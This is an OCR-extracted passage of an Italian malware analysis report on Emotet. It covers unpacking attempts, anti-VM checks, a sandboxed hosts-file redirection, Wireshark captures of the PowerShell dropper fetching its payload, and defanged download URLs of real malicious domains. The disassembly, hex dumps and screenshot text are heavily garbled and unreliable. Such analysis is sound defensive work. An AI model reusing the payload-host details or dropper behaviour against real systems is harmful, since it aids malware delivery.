HCA79 call strcmp db~ 2Dh : -
BCA/F test eax, eax db i
0cAS inz loc_40CB36 db  2Dh : -

i db o il
BCAB8 adc eax, offset db 98h ; 8
BCABSE g dh B -
ecASD db  33h ; 3 db 63h : ¢
HEHBE ; _________________ ["] ﬂ Fies
0CASE sal bh, cl db 39h - 0
BCABE ) e e e e T db B [E
0cA90 db BFGh ; + db &h : a
0000BO7F 0040CATF: sub 40C9A0 db 8
< - db 61h ; a

db B —
ex View-1 ["] E?h 2 ?

181208 87 EB 6A FE FF FF 8I db 1] !

812E8 FC 43 8B 4D F8 BB 5! db 36h ; 6 ]

1812F 8 88 5B 8B E! db g :

161388 55 8B EC 51 64 A1 3| db 39h : 9}

006F0 004012F0: start malware+l db o

Continuando a seguire il flusso del codice, si € arrivati ad un punto in cui abbiamo riscontrato dei
controlli di sicurezza che non ci hanno permesso di continuare la nostra analisi poiché
controllano se il malware viene eseguito su una macchina virtuale e se viene utilizzato un
decompilatore come strumento di analisi.

2.4 Analisi del traffico della rete con Wireshark

Vista l'impossibilita di proseguire I'analisi del malware nella fase di debugging abbiamo deciso di
studiare il traffico di rete generato dall’esecuzione dello script powershell.

Inizialmente abbiamo creato una nuova Macchina Virtuale con sistema operativo Linux nella
quale é stato configurato un server Apache con lo scopo di simulare il dominio al quale lo script
effettua la richiesta per scaricare il payload. Abbiamo creato un path identico
all’'URI(/css/GOOvqd) del dominio preso in considerazione (jpmtech.com) e al suo interno siamo
andati ad inserire il file eseguibile della calcolatrice di Windows(calc.exe) convertito in un file.html
(index.html).

Successivamente siamo tornati alla configurazione della macchina Windows per modificare le
impostazioni di rete cosi da mettere un indirizzo ip statico della stessa classe dell’'indirizzo ip
della macchina Linux.

In seguito siamo passati alla configurazione del file host di Windows nel quale abbiamo
reindirizzato tutti i domini rilevati nello script powershell all’'ip del server apache.
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Copyright {(c) 1893-2009 Microsoft Corp.
This is a sample HOSTS file used by Microsoft TCB/IP for Windows.

This file contains the mappings of IP addresses to host names. Each
entry should be kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.
The IP address and the host name should be separated by at least one
space.

Additionally, comments (such as these) may be inserted on individual
lines or following the machine name dencoted by a '#' symbol.

For example:

102 .54.594.97 rhino.acme.com $# sSource server
38.25.63.10 X.acme.com # x client host

m
B e e S o | S T | S S TS S e

I # localhost name resclution is handled within DNS itself.
2 # 127.0.0.1 localhost

21 # 2 localhost

23 10.D0.2.15 jpmtech. com

24 10.D0.2.15 webaphobia.com

25 10.0.2.15 montalegrense.graficosassociados.com

26 10.D0.2.15 purimaro.com

27 10.0.2.15 118.89.215.166

Fatto cio abbiamo configurato entrambe le macchine in una rete interna, in modo tale da renderle
comunicanti ed isolate dalla rete esterna.

Conclusa la configurazione delle macchine abbiamo aperto il file .doc del Malware in modo tale
da poter filtrare i pacchetti HTTP sulla rete Ethernet utilizzando il software Wireshark.

(1) SECURITY WARNING Macros have been disabled, Enable Content x

E] Microsoft Word

You must have Office 365 admin permissions to access this document

You need to click Enable Editing and then click Enable Content.

L’analisi del traffico di rete ha evidenziato le richieste e le rispettive risposte effettuate ai domini.
Come possiamo vedere in foto, le prime due richieste effettuate non hanno ricevuto riscontro
poiché i domini non essendo stati configurati risultano non attivi, a differenza della terza richiesta
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la quale risulta effettuata correttamente dato che il server & stato configurato per simulare quel
determinato dominio.

£ *Ethernet = O x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
m O ® RERe=2F i 5 EAQA_E
[ [ntt B3 -+
No. Time Source Destination Protocol  Length Info
32 23.387336 18.8.2.16 18.6.2.15 HTTP 138 GET /images/72Ca/ HTTP/1.1
34 23.387876 198.9.2.15 18.8.2.16 HTTP 547 HTTP/1.1 484 Not Found (text/html)
71 45.674483 18.8.2.16 18.8.2.15 HTTP 121 GET /1/ww/ HTTP/1.1
73 45.6748738 18.6.2.15 18.6.2.16 HTTP 545 HTTP/1.1 484 Not Found (text/html)
s 77 45.677819 18.8.2.16 18.6.2.15 HTTP 126 GET /css/G00wqd/ HTTP/1.1
1!— 186 45.716838 18.8.2.15 18.8.2.16 HTTP 273 HTTP/1.1 280 0K (text/hitml)
< >
Connection: Keep-Alive\r\n ~
Content-Type: text/html\r\n
Arin

[HTTP response 1/1]

[Time since request: ©.839819888 seconds]

[Request in frame: 77]

[Request WRI: http://jpmtech.com/css/G00vqad/]

File Data: 27648 bytes

¥ Line-based text data: text/html (99 lines)

[truncated |MZ\028\003\000'200"\000'\004\000\000\0004¢ \ 000\ 0004 \000\ 200\ 000 000\ 000\ 000\ 0060\ 200"\000'\000 \ B0\ 0BG

\r\n

54,000\ 200\,000\,000\ 000\ 008\,000_\025n¢\2331\ 0004 \B331\DODE B33\ 000€ 022\ T\ 2351\ 00044\ D331\ POLE ST \0DBGD B34\
[truncated]t\BeeH\ B34\ 0034\ 0311 \BEBEE\ B34\ t\03 11\ oI\ B34\ 0056\ 0311\ OB \B3 1€\ B3 21\ 000¢HD\ B34 \BE2€\0:

\868\800\888'\n
\606\800\688'\n
FMeeioe e _ A1V AAAL AAAL AAAL AAAL AAAL AAAL AAAL AAA S L AAAl AAAl AAAl AAsl AAAl AnA S &0 Anal Aanl Anal Aaan®™ &ALl Aanal L Aasal Aasanl ans)
< >
B8 B8 27 o6 e5 50 @8 8@ 27 1d d8 Se @3 0B 45 @@ oY toaallE ~
@1 @3 17 c@ 4P 00 48 ©6 Ga 17 @a 00 82 @f 6a @9 @
8820 @2 18 8@ 50 @a 56 a3 b6 42 b7 58 18 P p - RS

Frame (273 bytes) Reassembled TCP (27959 bytes)
() 7 Hypertext Transfer Protocol: Protocol || Packets: 270 - Displayed: 6 (2.2%:) || Profile: Default

Questo dimostra che viene svolta una richiesta alla volta e nel caso in cui non venga soddisfatta,
si effettua la richiesta al dominio successivo.

Nonostante la richiesta al dominio da noi preso in considerazione sia andata a buon fine, il file
eseguibile presente nel server Apache non viene scaricato ed eseguito come dovrebbe
succedere con il payload originale. Analizzando piu accuratamente lo script powershell ci siamo
accorti che il file eseguibile deve avere una dimensione >= 38 kb per poter essere scaricato ed
eseguito. A dimostrazione di quanto & stato detto sopra, abbiamo effettuato un ultimo test
eseguendo le stesse operazioni ma mettendo nel server il file eseguibile “Mozilla Firefox Portable
Edition” avente dimensione 102 MB.

Come possiamo vedere in foto la richiesta al dominio é stata effettuata con successo e lo script
ha eseguito il file presente nel URI del dominio preso in considerazione.
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20 13.352712 ot
22 13.353086 .0.2.. .0.2.. HTTR 7 HITP/1. sab 20:11
58 38645525 .0.2. 0.2, e 121 GET /1/w/ HTTP/L.1

66 33.645920 .0.2.15 0.2, H 545 HTTP/1.1 484 Not Found (text/html)

64 34.647945 L0.2. 0.2, 126 GET /css/Goovad/ HTTP/1.1

<« www html s GOOvqd

Recent

tured (1008 bits) on interface \Device\NPF_{4AA36136-9178-450) Home

), Det: PeCompu_1d:dasse (9:00:27:1d:d8:52) il BEED

Desktop
Documents
Downloads
PortableApps.com Installer Music

Pictures

Mozilla Firefox, Pertable Edition
Videos

guide you through the instalation of Mozila e ol o8 N i B Trash
3

VBox_G...

Other Locations

| Packets: 74573 - Displayed: 5 (0.0%) || Profile: Default

TX packets 4162 b:
TX errors © dropped

3 Conclusione

Emotet € un malware sofisticato ed uno dei piu attivi al giorno d’oggi, che utilizza un avanzato
packer personalizzato e un complicato algoritmo di crittografia, ogni giorno & possibile trovare
nuovi binari sempre pid complessi. Emotet viene anche utilizzato per scaricare malware di terze
parti su macchine infette. Tali payload di attacco sono progettati per rubare dati sensibili dalla
vittima. Con questa analisi siamo riusciti a dimostrare come effettuare I'unpacking del malware
Emotet fino alle prime istruzioni eseguite dall’eseguibile finale con una simulazione del
funzionamento dello script e un'analisi del flusso di rete.
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URL:

hxxp: // webaphobia [.] com / images / 72Ca /
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hxxp: // jpmtech [ .] com / css / GOOvqd /
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